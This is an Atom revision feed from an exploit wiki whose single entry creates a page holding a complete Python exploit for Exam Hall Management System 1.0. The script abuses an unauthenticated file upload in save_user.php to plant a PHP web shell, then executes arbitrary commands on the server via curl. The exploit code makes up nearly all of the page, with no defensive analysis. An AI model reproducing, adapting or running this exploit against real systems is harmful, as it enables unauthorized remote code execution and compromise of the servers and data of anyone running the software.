<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Exam_Hall_Management_System_1.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26RCE%E6%BC%8F%E6%B4%9E</id>
	<title>Exam Hall Management System 1.0 任意文件上傳&amp;RCE漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Exam_Hall_Management_System_1.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26RCE%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Exam_Hall_Management_System_1.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26RCE%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-05T19:04:13Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Exam_Hall_Management_System_1.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26RCE%E6%BC%8F%E6%B4%9E&amp;diff=6513&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;languages /&gt; &lt;translate&gt; ==漏洞影響== &lt;/translate&gt; # Version: 1.0 ==EXP== &lt;pre&gt; # Exploit Title: Exam Hall Management System 1.0 - Unrestricted File Upload + RCE (Unauthe...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Exam_Hall_Management_System_1.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26RCE%E6%BC%8F%E6%B4%9E&amp;diff=6513&amp;oldid=prev"/>
		<updated>2021-07-08T11:11:43Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;languages /&amp;gt; &amp;lt;translate&amp;gt; ==漏洞影響== &amp;lt;/translate&amp;gt; # Version: 1.0 ==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Exam Hall Management System 1.0 - Unrestricted File Upload + RCE (Unauthe...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==漏洞影響==&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
# Version: 1.0&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Exam Hall Management System 1.0 - Unrestricted File Upload + RCE (Unauthenticated)&lt;br /&gt;
# Exploit Author: Davide 'yth1n' Bianchin&lt;br /&gt;
# Contacts: davide dot bianchin at dedagroup dot it&lt;br /&gt;
# Original PoC: https://exploit-db.com/exploits/50103&lt;br /&gt;
# Date: 06.07.2021&lt;br /&gt;
# Vendor Homepage: https://www.sourcecodester.com&lt;br /&gt;
# Software Link: https://www.sourcecodester.com/php/14205/exam-hall-management-system-full-source-code-using-phpmysql.html&lt;br /&gt;
# Version: 1.0&lt;br /&gt;
# Tested on: Kali Linux&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
from requests_toolbelt.multipart.encoder import MultipartEncoder&lt;br /&gt;
import os&lt;br /&gt;
import sys&lt;br /&gt;
import string&lt;br /&gt;
import random&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
host = 'localhost' #CHANGETHIS&lt;br /&gt;
path = 'SourceCode' #CHANGETHIS&lt;br /&gt;
&lt;br /&gt;
url = 'http://'+host+'/'+path+'/pages/save_user.php'&lt;br /&gt;
&lt;br /&gt;
def id_generator(size=6, chars=string.ascii_lowercase):&lt;br /&gt;
	return ''.join(random.choice(chars) for _ in range(size))+'.php'&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) == 1:&lt;br /&gt;
    print(&amp;quot;#########&amp;quot;)&lt;br /&gt;
    print(&amp;quot;Usage: python3 examhallrce.py command&amp;quot;)&lt;br /&gt;
    print(&amp;quot;Usage: Use the char + to concatenate commands&amp;quot;)&lt;br /&gt;
    print(&amp;quot;Example: python3 examhallrce.py whoami&amp;quot;)&lt;br /&gt;
    print(&amp;quot;Example: python3 examhallrce.py ls+-la&amp;quot;)&lt;br /&gt;
    print(&amp;quot;#########&amp;quot;)&lt;br /&gt;
    exit()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
filename = id_generator()&lt;br /&gt;
print(&amp;quot;Generated &amp;quot;+filename+ &amp;quot; file..&amp;quot;)&lt;br /&gt;
time.sleep(2)&lt;br /&gt;
print(&amp;quot;Uploading file..&amp;quot;)&lt;br /&gt;
time.sleep(2)&lt;br /&gt;
&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def reverse():&lt;br /&gt;
    command = sys.argv[1]&lt;br /&gt;
    multipart_data = MultipartEncoder({&lt;br /&gt;
        'image': (filename, '&amp;lt;?php system($_GET[&amp;quot;cmd&amp;quot;]); ?&amp;gt;', 'application/octet-stream'),&lt;br /&gt;
        'btn_save': ''&lt;br /&gt;
        })&lt;br /&gt;
    r = requests.post(url, data=multipart_data, headers={'Content-Type':multipart_data.content_type})   &lt;br /&gt;
    endpoint = 'http://'+host+'/'+path+'/uploadImage/Profile/'+filename+'' &lt;br /&gt;
    urlo = 'http://'+host+'/'+path+'/uploadImage/Profile/'+filename+'?cmd='+command+''&lt;br /&gt;
    print(&amp;quot;Success, file correctly uploaded at: &amp;quot; +endpoint+ &amp;quot;&amp;quot;)&lt;br /&gt;
    time.sleep(1) &lt;br /&gt;
    print(&amp;quot;Executing command in 1 seconds:\n&amp;quot;)&lt;br /&gt;
    time.sleep(1)&lt;br /&gt;
    os.system(&amp;quot;curl -X GET &amp;quot;+urlo+&amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
reverse()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>